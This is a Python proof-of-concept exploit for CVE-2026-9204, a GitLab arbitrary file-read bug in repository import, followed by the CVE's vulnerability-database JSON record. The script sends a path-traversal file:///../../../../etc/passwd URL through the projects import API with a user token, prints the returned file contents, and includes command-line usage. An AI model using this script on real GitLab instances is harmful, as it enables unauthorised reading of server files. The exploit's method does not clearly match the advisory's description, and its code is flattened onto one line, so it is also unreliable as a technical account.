CVE-2026-9204

import requests import sys # CVE-2026-9204 PoC - GitLab Arbitrary File Read via Repository Import # Target: GitLab CE/EE < 18.10.8, < 18.11.5, < 19.0.2 def exploit_gitlab_ssrf(target_url, auth_token): """ Exploit for CVE-2026-9204: GitLab arbitrary file read via insufficient URL validation during repository import process. """ headers = { 'PRIVATE-TOKEN': auth_token, 'Content-Type': 'application/json' } # Malicious URL to read arbitrary file from Gitaly server # Using path traversal to access /etc/passwd malicious_url = 'file:///../../../../etc/passwd' payload = { 'url': malicious_url, 'import_type': 'git', 'new_name': 'malicious_repo' } endpoint = f'{target_url}/api/v4/projects/import' try: response = requests.post(endpoint, json=payload, headers=headers, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Success! File content retrieved:') print(data.get('file_content', 'N/A')) return True else: print(f'[-] Failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-9204.py <target_url> <auth_token>') print('Example: python cve-2026-9204.py https://gitlab.example.com glpat-xxxxx') sys.exit(1) exploit_gitlab_ssrf(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-9204", "sourceIdentifier": "[email protected]", "published": "2026-06-11T12:16:32.983", "lastModified": "2026-06-11T17:28:47.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.10 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions could have allowed an authenticated user to read arbitrary files from the Gitaly server and access internal network resources during repository import, due to insufficient validation of secondary URLs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.8", "matchCriteriaId": "13823E75-AE85-46CA-81B2-B41187DA5E8B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.8", "matchCriteriaId": "9E8223D9-103A-4158-8F8B-F3978AA288F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.11.0", "versionEndExcluding": "18.11.5", "matchCriteriaId": "D3442E29-F164-40E0-B972-F0EEE8ED4FD1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.11.0", "versionEndExcluding": "18.11.5", "matchCriteriaId": "7FB0D7FE-9A4F-45D8-B564-31DF9F2F4066"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.0.2", "matchCriteriaId": "A6FAB200-DFB3-42FC-A901-8E5C0A3CA706"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.0.2", "matchCriteriaId": "1A666CA8-8D31-4765-87ED-D0F56E9DAFF0"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/06/10/patch-release-gitlab-19-0-2-released/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/592677", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}